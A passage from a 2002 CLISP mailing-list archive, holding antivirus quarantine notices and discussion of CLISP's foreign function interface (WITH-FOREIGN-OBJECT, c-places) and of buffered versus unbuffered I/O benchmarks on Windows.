Attachment Name: 2.bin File: 2.bin Infected? No Repaired? No Blocked? Yes Deleted? No Virus Name: --=_786a2b5ddfec500f0c3983a90a541d0a Content-Type: application/ms-tnef Content-Transfer-Encoding: base64 eJ8+IhgBAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGQAAAElQTS5BbnRp LVZpcnVzLlJlcG9ydC40NQAnCAEFgAMADgAAANIHCQAeABQAHQATAAEARQEBIIADAA4AAADSBwkA HgAUAB0AFwABAEkBAQmAAQAhAAAANjFCQjgxRDY0ODlGQzM0RUIwQjlGNzgxNDcxOEE0NDYALgcB BIABAE4AAABBTEVSVCAtICBHcm91cFNoaWVsZCB0aWNrZXQgbnVtYmVyIE9BNTc1XzEwMzM0MzU3 NTZfRVhDSEFOR0UxXzMgd2FzIGdlbmVyYXRlZAAMGAENgAQAAgAAAAIAAgABA5AGAFQGAAAgAAAA QAA5AAA/lfbpaMIBAwDxPwkEAAAeADFAAQAAABAAAABOQUlTU0RFWENIQU5HRTEAAwAaQAAAAAAe ADBAAQAAABAAAABOQUlTU0RFWENIQU5HRTEAAwAZQAAAAAACAQkQAQAAAAwCAAAIAgAAVAMAAExa RnWhtdYshwAKAQ0DQ3RleHQB9/8CpAPkBesCgwBQAvMGtAKDJjIDxQIAY2gKwHNl2HQwIAcTAoB9 CoAIz38J2QKACoQLNxLCAdAT4GOEdGkCICBUYWsJ8AY6CqMKgFRoZSBhGwJAANBoB4ACMCB3YbkE IHF1CsAAcBfwbgmAMiADUiB0GSEHgXNhumcZMW4a4BVAC1FjGtH/A/AbUBlAG0APARrwAxAZMNML gAIQcm0LgGcbQxVAzmMFIAiQGdFvZhtDANC3F/MBkBhhLhilGKZvGJbmJwcQE6BueQYAFNAG4ABk anVjaycgPEBhbXB5QGkTYC4AZHZvLnJ1PjtIIGNsBABwLSSxdOJAJQJzLnMIYRygHhFtG+AuGsAF QDwkryW9Po0gvEYDYRiWV3NqI2BSdyqAQDIEYHUToC7hBaBtLnR3KM0GYAIwARiWLTk3MTQzMQAx NjgsMjk1MRA4MDU3K+11YmojBZAs91JFOgfwZVtUMl0woFsmyF0wsjRPMQEHwBrRGSBscBtAb+Ig KzEgQ2gasTNTGmGrF+AEkC4grUEZaEQTsGELcGxzOi00vxmGTsUjgGUwoDIuYguBKVW7HbE4rEke AC/RCYA/B7C+bzAWHGALcBVBOylCFND7IzA7AlkHkBilNkAdwDr8flY8ECswOFUgvECNAZEgAn1C MAMA/T/kBAAAAgFxAAEAAAAWAAAAAcJo6faVxqDFcRw/Rk6347SE5iF4WAAAAwAmAAAAAAADADYA AAAAAB4AcAABAAAATgAAAEFMRVJUIC0gIEdyb3VwU2hpZWxkIHRpY2tldCBudW1iZXIgT0E1NzVf MTAzMzQzNTc1Nl9FWENIQU5HRTFfMyB3YXMgZ2VuZXJhdGVkAAAAAgFHAAEAAAAwAAAAYz1VUzth PSA7cD1GU0k7bD1FWENIQU5HRTEtMDIxMDAxMDEyOTE5Wi0xNzE0NDAAAgH5PwEAAABLAAAAAAAA ANynQMjAQhAatLkIACsv4YIBAAAAAAAAAC9PPUZTSS9PVT1TU0QvQ049UkVDSVBJRU5UUy9DTj1O QUlTU0RFWENIQU5HRTEAAB4A+D8BAAAAIQAAAEdyb3VwU2hpZWxkIEV4Y2hhbmdlIChFWENIQU5H RTEpAAAAAB4AOEABAAAAEAAAAE5BSVNTREVYQ0hBTkdFMQACAfs/AQAAAEsAAAAAAAAA3KdAyMBC EBq0uQgAKy/hggEAAAAAAAAAL089RlNJL09VPVNTRC9DTj1SRUNJUElFTlRTL0NOPU5BSVNTREVY Q0hBTkdFMQAAHgD6PwEAAAAhAAAAR3JvdXBTaGllbGQgRXhjaGFuZ2UgKEVYQ0hBTkdFMSkAAAAA HgA5QAEAAAAQAAAATkFJU1NERVhDSEFOR0UxAEAABzCvVYn26WjCAUAACDDDTsr46WjCAR4APQAB AAAAAQAAAAAAAAAeAB0OAQAAAE4AAABBTEVSVCAtICBHcm91cFNoaWVsZCB0aWNrZXQgbnVtYmVy IE9BNTc1XzEwMzM0MzU3NTZfRVhDSEFOR0UxXzMgd2FzIGdlbmVyYXRlZAAAAB4ANRABAAAAPwAA ADw0MTcwQjg2M0ExRjVDQTRFOEZBRUZDOURCMDM0OUY0NTEwODgzNUBleGNoYW5nZTEuc3NkLmZz aS5jb20+AAALACkAAAAAAAsAIwAAAAAAAwAGEPRA3vIDAAcQnwEAAAMAEBAAAAAAAwAREAAAAAAe AAgQAQAAAGUAAABBQ1RJT05UQUtFTjpUSEVBVFRBQ0hNRU5UV0FTUVVBUkFOVElORURGUk9NVEhF TUVTU0FHRUFORFJFUExBQ0VEV0lUSEFURVhURklMRUlORk9STUlOR1RIRVJFQ0lQSUVOVE9GAAAA AAIBfwABAAAAPwAAADw0MTcwQjg2M0ExRjVDQTRFOEZBRUZDOURCMDM0OUY0NTEwODgzNUBleGNo YW5nZTEuc3NkLmZzaS5jb20+AABmng== --=_786a2b5ddfec500f0c3983a90a541d0a-- From NAISSDEXCHANGE1@ssd.fsi.com Mon Sep 30 18:29:29 2002 Received: from ssd1.ssd.fsi.com ([65.115.221.98] helo=ssd.fsi.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wBqp-0007Rp-00 for ; Mon, 30 Sep 2002 18:29:27 -0700 Message-ID: <6537d078109f71e1a72aede3e577a35e3d98fa76@ssd.fsi.com> From: "GroupShield for Exchange (EXCHANGE1)" To: 'Wsj' , 'Arseny Slobodjuck' , "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_817895bd2c315324c61cc9e91f62f75e" Subject: [clisp-list] ALERT - GroupShield ticket number OA574_1033435756_EXCHANGE1_3 w as generated Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 18:30:03 2002 X-Original-Date: Mon, 30 Sep 2002 20:29:19 -0500 This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --=_817895bd2c315324c61cc9e91f62f75e Content-Type: text/plain Action Taken: The attachment was quarantined from the message and replaced with a text file informing the recipient of the action taken. To: 'Arseny Slobodjuck' ; clisp-list@lists.sourceforge.net From: Wsj Sent: -971431168,29518057 Subject: RE: Re[2]: [clisp-list] Re[4]: Need help to use Chinese Character.. Attachment Details:- Attachment Name: 1.bin File: 1.bin Infected? No Repaired? No Blocked? Yes Deleted? No Virus Name: --=_817895bd2c315324c61cc9e91f62f75e Content-Type: application/ms-tnef Content-Transfer-Encoding: base64 eJ8+IhgBAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGQAAAElQTS5BbnRp LVZpcnVzLlJlcG9ydC40NQAnCAEFgAMADgAAANIHCQAeABQAHQATAAEARQEBIIADAA4AAADSBwkA HgAUAB0AFwABAEkBAQmAAQAhAAAAQjFBQjMzODIzRkNCN0U0OUIzMDY3OEZDRUJENUM1MEIAagcB BIABAE4AAABBTEVSVCAtICBHcm91cFNoaWVsZCB0aWNrZXQgbnVtYmVyIE9BNTc0XzEwMzM0MzU3 NTZfRVhDSEFOR0UxXzMgd2FzIGdlbmVyYXRlZAALGAENgAQAAgAAAAIAAgABA5AGAFQGAAAgAAAA QAA5AEAAe/bpaMIBAwDxPwkEAAAeADFAAQAAABAAAABOQUlTU0RFWENIQU5HRTEAAwAaQAAAAAAe ADBAAQAAABAAAABOQUlTU0RFWENIQU5HRTEAAwAZQAAAAAACAQkQAQAAAAwCAAAIAgAAVAMAAExa RnVcR7oFhwAKAQ0DQ3RleHQB9/8CpAPkBesCgwBQAvMGtAKDJjIDxQIAY2gKwHNl2HQwIAcTAoB9 CoAIz38J2QKACoQLNxLCAdAT4GOEdGkCICBUYWsJ8AY6CqMKgFRoZSBhGwJAANBoB4ACMCB3YbkE IHF1CsAAcBfwbgmAMiADUiB0GSEHgXNhumcZMW4a4BVAC1FjGtH/A/AbUBlAG0APARrwAxAZMNML gAIQcm0LgGcbQxVAzmMFIAiQGdFvZhtDANC3F/MBkBhhLhilGKZvGJbmJwcQE6BueQYAFNAG4ABk anVjaycgPEBhbXB5QGkTYC4AZHZvLnJ1PjtIIGNsBABwLSSxdOJAJQJzLnMIYRygHhFtG+AuGsAF QDwkryW9Po0gvEYDYRiWV3NqI2BSdyqAQDIEYHUToC7hBaBtLnR3KM0GYAIwARiWLTk3MTQzMQAx NjgsMjk1MRA4MDU3K+11YmojBZAs91JFOgfwZVtUMl0woFsmyF0wsjRPMQEHwBrRGSBscBtAb+Ig KzEgQ2gasTNTGmGrF+AEkC4grUEZaEQTsGELcGxzOi00vxmGTsUjgGUwoDEuYguBKVW7HbE4rEke AC/RCYA/B7C+bzAWHGALcBVBOylCFND7IzA7AlkHkBilNkAdwDr8flY8ECswOFUgvECNAZEgAn1C MAMA/T/kBAAAAgFxAAEAAAAWAAAAAcJo6fZ7kiSqEjrDRHS1GwF6VBbL8AAAAwAmAAAAAAADADYA AAAAAB4AcAABAAAATgAAAEFMRVJUIC0gIEdyb3VwU2hpZWxkIHRpY2tldCBudW1iZXIgT0E1NzRf MTAzMzQzNTc1Nl9FWENIQU5HRTFfMyB3YXMgZ2VuZXJhdGVkAAAAAgFHAAEAAAAwAAAAYz1VUzth PSA7cD1GU0k7bD1FWENIQU5HRTEtMDIxMDAxMDEyOTE5Wi0xNzE0MzgAAgH5PwEAAABLAAAAAAAA ANynQMjAQhAatLkIACsv4YIBAAAAAAAAAC9PPUZTSS9PVT1TU0QvQ049UkVDSVBJRU5UUy9DTj1O QUlTU0RFWENIQU5HRTEAAB4A+D8BAAAAIQAAAEdyb3VwU2hpZWxkIEV4Y2hhbmdlIChFWENIQU5H RTEpAAAAAB4AOEABAAAAEAAAAE5BSVNTREVYQ0hBTkdFMQACAfs/AQAAAEsAAAAAAAAA3KdAyMBC EBq0uQgAKy/hggEAAAAAAAAAL089RlNJL09VPVNTRC9DTj1SRUNJUElFTlRTL0NOPU5BSVNTREVY Q0hBTkdFMQAAHgD6PwEAAAAhAAAAR3JvdXBTaGllbGQgRXhjaGFuZ2UgKEVYQ0hBTkdFMSkAAAAA HgA5QAEAAAAQAAAATkFJU1NERVhDSEFOR0UxAEAABzAdV2r26WjCAUAACDAPisX46WjCAR4APQAB AAAAAQAAAAAAAAAeAB0OAQAAAE4AAABBTEVSVCAtICBHcm91cFNoaWVsZCB0aWNrZXQgbnVtYmVy IE9BNTc0XzEwMzM0MzU3NTZfRVhDSEFOR0UxXzMgd2FzIGdlbmVyYXRlZAAAAB4ANRABAAAAPwAA ADw0MTcwQjg2M0ExRjVDQTRFOEZBRUZDOURCMDM0OUY0NTEwODgzM0BleGNoYW5nZTEuc3NkLmZz aS5jb20+AAALACkAAAAAAAsAIwAAAAAAAwAGEHnBGwEDAAcQnwEAAAMAEBAAAAAAAwAREAAAAAAe AAgQAQAAAGUAAABBQ1RJT05UQUtFTjpUSEVBVFRBQ0hNRU5UV0FTUVVBUkFOVElORURGUk9NVEhF TUVTU0FHRUFORFJFUExBQ0VEV0lUSEFURVhURklMRUlORk9STUlOR1RIRVJFQ0lQSUVOVE9GAAAA AAIBfwABAAAAPwAAADw0MTcwQjg2M0ExRjVDQTRFOEZBRUZDOURCMDM0OUY0NTEwODgzM0BleGNo YW5nZTEuc3NkLmZzaS5jb20+AADGmA== --=_817895bd2c315324c61cc9e91f62f75e-- From dave@synergy.org Mon Sep 30 22:30:20 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wFbu-0003db-00 for ; Mon, 30 Sep 2002 22:30:19 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Mon, 30 Sep 2002 22:30:17 -0700 From: "Dave Richards" To: "clisp-list" Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 01 Oct 2002 05:30:17.0138 (UTC) FILETIME=[A0198920:01C2690B] Subject: [clisp-list] FFI - Creating c-places in LISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 30 22:31:01 2002 X-Original-Date: Mon, 30 Sep 2002 22:30:15 -0700 I have decided to take a different approach to implementing my TCP-based server. Rather than use the socket server/stream classes, I am going to try accessing the socket calls directly. This is how CMUCL handles the problem and my early tests on CMUCL have been quite favorable. Which leads to my question: Is it possible in the FFI to define a c-struct (def-c-struct) then create an instance of it in LISP, initialize it, then pass a pointer to it via FFI? I guess what I am asking is whether it's possible to allocate a c-place inside the LISP heap. My reading of the implementation notes imply that "c-places" originate outside the LISP heap, i.e. have static storage class. One could infer that C code could malloc() a region and return this, but how then do we ensure free() is called at GC finalization? Dave From dave@synergy.org Tue Oct 01 06:03:07 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wMg5-0004Ho-00 for ; Tue, 01 Oct 2002 06:03:05 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Tue, 1 Oct 2002 06:03:04 -0700 From: "Dave Richards" To: "Dave Richards" , "clisp-list" Subject: RE: [clisp-list] FFI - Creating c-places in LISP? Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 01 Oct 2002 13:03:04.0786 (UTC) FILETIME=[E147A320:01C2694A] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 1 06:04:02 2002 X-Original-Date: Tue, 1 Oct 2002 06:03:03 -0700 > I have decided to take a different approach to implementing my TCP-based > server. Rather than use the socket server/stream classes, I am > going to try > accessing the socket calls directly. This is how CMUCL handles > the problem > and my early tests on CMUCL have been quite favorable. Which leads to my > question: > > Is it possible in the FFI to define a c-struct > (def-c-struct) then create > an instance of it in LISP, initialize it, then pass a pointer to > it via FFI? > I guess what I am asking is whether it's possible to allocate a c-place > inside the LISP heap. > My reading of the implementation notes imply that > "c-places" originate > outside the LISP heap, i.e. have static storage class. One could > infer that > C code could malloc() a region and return this, but how then do we ensure > free() is called at GC finalization? Ah! WITH-FOREIGN-OBJECT. That'll do it. From Joerg-Cyril.Hoehle@t-systems.com Tue Oct 01 08:07:43 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wOcf-0001Hp-00 for ; Tue, 01 Oct 2002 08:07:41 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 1 Oct 2002 17:07:19 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 1 Oct 2002 17:07:19 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] FFI - Creating c-places in LISP? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 1 08:12:12 2002 X-Original-Date: Tue, 1 Oct 2002 17:07:15 +0200 Dave Richards wrote: >> outside the LISP heap, i.e. have static storage class. One could=20 >> infer that >> C code could malloc() a region and return this, but how then=20 >do we ensure >> free() is called at GC finalization? >Ah! WITH-FOREIGN-OBJECT. That'll do it. Please report your experience here. You might be the first one to use = this newly added code of mine. Especially interesting is whether stack-allocated C space is really = enough for applications. malloc/free and GC finalization have many = pitfalls. But let's only talk about those if you are not satisfied with = stack allocations. Regards, J=F6rg H=F6hle. From dave@synergy.org Tue Oct 01 06:55:33 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wNUq-0004v4-00 for ; Tue, 01 Oct 2002 06:55:32 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Tue, 1 Oct 2002 06:55:30 -0700 From: "Dave Richards" To: "Dave Richards" , "clisp-list" Subject: RE: [clisp-list] FFI - Creating c-places in LISP? Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 01 Oct 2002 13:55:30.0460 (UTC) FILETIME=[343F65C0:01C26952] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 1 08:51:54 2002 X-Original-Date: Tue, 1 Oct 2002 06:55:29 -0700 > > Is it possible in the FFI to define a c-struct > > (def-c-struct) then create > > an instance of it in LISP, initialize it, then pass a pointer to > > it via FFI? > > I guess what I am asking is whether it's possible to allocate a c-place > > inside the LISP heap. > > My reading of the implementation notes imply that > > "c-places" originate > > outside the LISP heap, i.e. have static storage class. One could > > infer that > > C code could malloc() a region and return this, but how then do > we ensure > > free() is called at GC finalization? > > Ah! WITH-FOREIGN-OBJECT. That'll do it. Hmm. It's in the document, but not in FFI:. [14]> (apropos "foreign-object") [15]> Is there another methof for declaring c-places in LISP? From Joerg-Cyril.Hoehle@t-systems.com Tue Oct 01 08:57:09 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wPOV-0001Hs-00 for ; Tue, 01 Oct 2002 08:57:07 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 1 Oct 2002 17:56:59 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 1 Oct 2002 17:56:59 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge@isis.cs3-inc.com MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] On benchmarking (was: TCP-based Network Server in CLISP: read-cha r vs. buffering) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 1 09:05:07 2002 X-Original-Date: Tue, 1 Oct 2002 17:56:58 +0200 Hi, here's a summary of Don' and my recent experiments. My summary is: thanks to the Linux environment (thank not the application) for making non-buffered application-level i/o work not so much worse than buffered one.[2] The ratio is incredibly worse with MS-Windows2k. Dan observed speed up by factor 7 on local files - I presume on Linux. I hereby report speedups by factor 1600 for sockets on MS-W2k. Please read below the incredible numbers measured on my MS-W2k system. Reading 1_000_000 bytes from a larger file (~3MB), CLISP TIME reported real time/run time for one run: from source: local file Samba/NFS server READ-SEQUENCE 0.23/0.04 1.23/0.04 buffered 0.78/0.75 2.19/0.72 unbuff'ed 161/132 secs 1866/173 seconds!![1] [1] CPU use was visually low during that time. I.e., CLISP was constantly waiting. I.e. the network can showel >875KB/sec, but you better use buffering. CLISP's 8KB buffering less than halves the performance of the presumably fastest solution via READ-SEQUENCE from the NFS server, which I find acceptable - YMMV. Smaller units could be tested to see where the performance seriously degrades. Unbuffered i/o is so slow that anybody on MS-w2k is going 1) to scream for buffering 2) to hate applications which don't do it. [2] Maybe the difference has nothing to do with Linux vs MS-W2k but only with configuration settings, i.e. MTU, grouping small packets, urgent vs. high throughput TCP bit or whatever. BTW, from Don's data: > Real time: 0.015744 sec. > Run time: 0.0 sec. > Space: 0 Bytes > 414834 chars left to go. -- infinite [speed] I learned not to rely on "system" time for end-to-end measurements on Sun UNIX machines years ago. Some applications were dead slow, while they took comparatively little system time. Using system time to benchmark would have been meaningless. IIRC, CMUCL's GC would swap on our Suns, yet that did not count as system time. GC and swap time should count IMHO. I consider inclusion of real-time to measure "round-trip" of the whole access - presuming a lightly loaded machine. Wall clock (or real time) is what counts. I also learned to prefer slow CPU for testing, where timing for small runs would not be below measurability level. But with todays machines, it's hard to avoid looping in simple tests in order to get large enough times. But this gives inaccurate numbers, as all kinds of caching occurs. > Real time: 0.116746 sec. > Run time: 0.12 sec. That's a time warp, isn't it? :-) How can system time be smaller than real clock time? Does your machine have two processors? - I expect not. We should not believe in two many digits precision... Regards, Jorg Hohle. (compile (defun f (file n) (with-open-file (s file) (setf (stream-element-type s) '(unsigned-byte 8)) (loop for i below n do (read-byte s))))) (compile (defun g (file n) (with-open-file (s file :buffered nil) (setf (stream-element-type s) '(unsigned-byte 8)) (loop for i below n do (read-byte s))))) (defun h (file n) (with-open-file (s file :buffered nil :element-type '(unsigned-byte 8)) (read-sequence (make-array n :element-type '(unsigned-byte 8)) s))) From Joerg-Cyril.Hoehle@t-systems.com Tue Oct 01 09:14:16 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wPf2-0007bD-00 for ; Tue, 01 Oct 2002 09:14:13 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 1 Oct 2002 18:13:59 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 1 Oct 2002 18:13:59 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] FFI - Creating c-places in LISP? with-foreign-object MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 1 09:20:25 2002 X-Original-Date: Tue, 1 Oct 2002 18:13:58 +0200 Dave Richards wrote: >So with-foreign-object is a post 2.29 feature? I don't know. I don't have CVS. I don't know how CVS relates to = releases. Using CVSview http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/clisp/clisp/src/foreign.d= I can see that the C code is there, as of revison 1.40/41, resp. 1.22 = of foreign1.lisp. Regards, J=F6rg H=F6hle. From dave@synergy.org Tue Oct 01 09:47:11 2002 Received: from 12-236-220-195.client.attbi.com ([12.236.220.195] helo=ntserver.synergy.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wQAx-0000gv-00 for ; Tue, 01 Oct 2002 09:47:11 -0700 Received: from dave ([204.69.142.3]) by ntserver.synergy.org with Microsoft SMTPSVC(5.0.2195.4905); Tue, 1 Oct 2002 09:47:09 -0700 From: "Dave Richards" To: "Hoehle, Joerg-Cyril" , Subject: RE: [clisp-list] FFI - Creating c-places in LISP? Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-OriginalArrivalTime: 01 Oct 2002 16:47:09.0967 (UTC) FILETIME=[2F3B71F0:01C2696A] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 1 09:55:16 2002 X-Original-Date: Tue, 1 Oct 2002 09:47:09 -0700 > >Ah! WITH-FOREIGN-OBJECT. That'll do it. > > Please report your experience here. You might be the first one to > use this newly added code of mine. > > Especially interesting is whether stack-allocated C space is > really enough for applications. malloc/free and GC finalization > have many pitfalls. But let's only talk about those if you are > not satisfied with stack allocations. Will do. However, I can anticipate one problem already. I have an abstraction I call the network queue layer. It implements a byte queue: (defclass nqueue () ((size :accessor nq-size :initarg :size) (length :accessor nq-length :initform 0) (rptr :accessor nq-rptr :initform 0) (wptr :accessor nq-wptr :initform 0) (data :accessor nq-data))) followed by tons of routines to manipulate the queue. ; data is allocated in initialize-instance as: ; (make-array (nq-size nq) :element-type '(unsigned-byte 8)) My desire is to be able to call send() and recv() on the data part of (nq-data nq), i.e. I want a c-pointer to (aref (nq-data data) index). Lacking this, I am going to have to declare a c-type, then inside a with-foreign-object construct I am going to have to stage the data between my nqueue's data vector and the c-var. This effectively is a user-space to user-space copy followed by a user-space to kernel-space (for send(), and the reverse for recv()). I realize providing such a c-pointer is scary, even inside a with- construct, but have you considered it? Dave From tsabin@optonline.net Tue Oct 01 20:17:38 2002 Received: from ool-18bdaf86.dyn.optonline.net ([24.189.175.134] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17wZyg-0003P5-00 for ; Tue, 01 Oct 2002 20:15:10 -0700 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id XAA15415; Tue, 1 Oct 2002 23:03:05 -0400 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net, don-sourceforge@isis.cs3-inc.com Subject: Re: [clisp-list] On benchmarking (was: TCP-based Network Server in CLISP: read-cha r vs. buffering) References: From: Todd Sabin In-Reply-To: ("Hoehle, Joerg-Cyril"'s message of "Tue, 01 Oct 2002 17:56:58 +0200") Message-ID: Lines: 36 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 1 20:18:23 2002 X-Original-Date: 01 Oct 2002 23:03:04 -0400 "Hoehle, Joerg-Cyril" writes: > Hi, > > here's a summary of Don' and my recent experiments. > > My summary is: thanks to the Linux environment (thank not the > application) for making non-buffered application-level i/o work not > so much worse than buffered one.[2] > The ratio is incredibly worse with MS-Windows2k. > > Dan observed speed up by factor 7 on local files - I presume on Linux. > I hereby report speedups by factor 1600 for sockets on MS-W2k. > > Please read below the incredible numbers measured on my MS-W2k system. > > Reading 1_000_000 bytes from a larger file (~3MB), > CLISP TIME reported real time/run time for one run: > > from source: local file Samba/NFS server > READ-SEQUENCE 0.23/0.04 1.23/0.04 > buffered 0.78/0.75 2.19/0.72 > unbuff'ed 161/132 secs 1866/173 seconds!![1] I suspect this has little to do with Windows, per se, and more to do with the way clisp does I/O on Windows. If you look at DoInterruptible in win32aux.d, you'll notice that clisp creates (and destroys) a thread every time through DoInterruptible. Combine that with an unbuffered stream and the result is that clisp creates and destroys an OS thread for every character read. I'm not sure if that would account for all of the difference, but it seems like a very good place to start... Todd From Joerg-Cyril.Hoehle@t-systems.com Wed Oct 02 01:07:03 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 